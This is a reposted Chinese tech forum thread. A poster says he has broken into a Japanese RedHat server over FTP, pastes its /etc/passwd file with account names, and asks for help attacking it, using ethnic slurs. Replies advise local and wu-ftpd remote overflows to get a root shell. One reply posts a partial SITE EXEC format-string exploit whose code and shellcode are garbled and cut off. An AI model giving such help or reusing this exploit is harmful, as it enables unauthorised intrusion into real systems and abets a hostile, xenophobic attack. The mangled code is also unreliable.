当前位置:  技术问答>linux和unix

我侵入了日本一台RedHat主机,高手快点来帮我,让我们黑了这个小日本,详情请进慢慢看...

    来源: 互联网  发布时间:2014-11-23

    本文导语:  我侵入了日本一台RedHat主机,获得了一个ftp帐号。 当我进入/etc的时候发现里面有gshadow(无权下载),gshadow-(无权下载),shadow(无权下载),shadow-(无权下载); 但是passwd(下载成功),passwd-(下载成功),pa...

我侵入了日本一台RedHat主机,获得了一个ftp帐号。

当我进入/etc的时候发现里面有gshadow(无权下载),gshadow-(无权下载),shadow(无权下载),shadow-(无权下载);

但是passwd(下载成功),passwd-(下载成功),passwd.old(下载成功).

下面是用记事本打开的passwd文件:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
named:x:25:25:Named:/var/named:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
jhc:x:500:501:Jing Hongchang:/home/jhc:/bin/bash
oracle:x:501:500::/home/oracle:/bin/bash
xx:x:502:502::/home/xx:/bin/bash
www:x:503:503::/usr/local/apache/htdocs:/bin/bash

下一步我该怎么办,高手快点来帮我呀,让我们黑了这个小日本!!!

|
那就看RedHat什么版本了。不同的版本都有本地溢出。

既然你已经拿到一个ftp帐号,假如他的ftp-server是wu-ftp的话,有远程溢

出,可以远程得到一个Root Shell,到时候你想干什么都可以了。

|
给你几个可能用得着的Exploit,
faint,一次不能发的多,要分开发
一、


  "x89xf3x8dx4ex08x8dx56x0cxb0x0bxcdx80x31xc0"
  "x31xdbxb0x01xcdx80xe8x90xffxffxffxffxffxff"
  "x30x62x69x6ex30x73x68x31x2ex2ex31x31";


main (int argc, char *argv[])
{

  char cmdbuf[8192];
  char cbuf[1024];
  char *t;
  char nop[400];
  int pip, i, a = 22, st = 0;
  struct sockaddr_in sck;
  struct hostent *hp;
  long inet;
  int port = 21;
  fd_set fds;
  unsigned int aa;
  long reta, retb, tmp, retz;
  int ret;
  int add = 0;

  memset (cmdbuf, 0x0, sizeof (cmdbuf));
  memset (cbuf, 0x0, sizeof (cbuf));
  memset (nop, 0x0, sizeof (nop));

  if (argc h_addr, 4);
      else
inet = -1;
      if (inet == -1)
{
  fprintf (stderr, "Cant resolv %s!! n", argv[1]);
  exit (-1);
}
    }
  sck.sin_family = PF_INET;
  sck.sin_port = htons (port);
  sck.sin_addr.s_addr = inet;

  if (connect (pip, (struct sockaddr *) &sck, sizeof (sck))  8,
   (reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24);
  a = 22;
  memset (cbuf, 0x0, sizeof (cbuf));
  while (1)
    {

      memset (cmdbuf, 0x0, sizeof (cmdbuf));

      sprintf (cmdbuf, "SITE EXEC aaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%cxff%c%c",
       (reta & 0x000000ff), (reta & 0x0000ff00) >> 8,
       (reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24);
      for (i = 0; i > 8,
   (reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24);
  for (i = 0; i 

    
 
 

您可能感兴趣的文章:

 
本站(WWW.)旨在分享和传播互联网科技相关的资讯和技术,将尽最大努力为读者提供更好的信息聚合和浏览方式。
本站(WWW.)站内文章除注明原创外,均为转载、整理或搜集自网络。欢迎任何形式的转载,转载请注明出处。












  • 相关文章推荐
  • 侵入oracle数据库的操作命令
  • 无侵入的Bootstrap定制版 EvaBootstrap


  • 站内导航:


    特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

    ©2012-2021,,E-mail:www_#163.com(请将#改为@)

    浙ICP备11055608号-3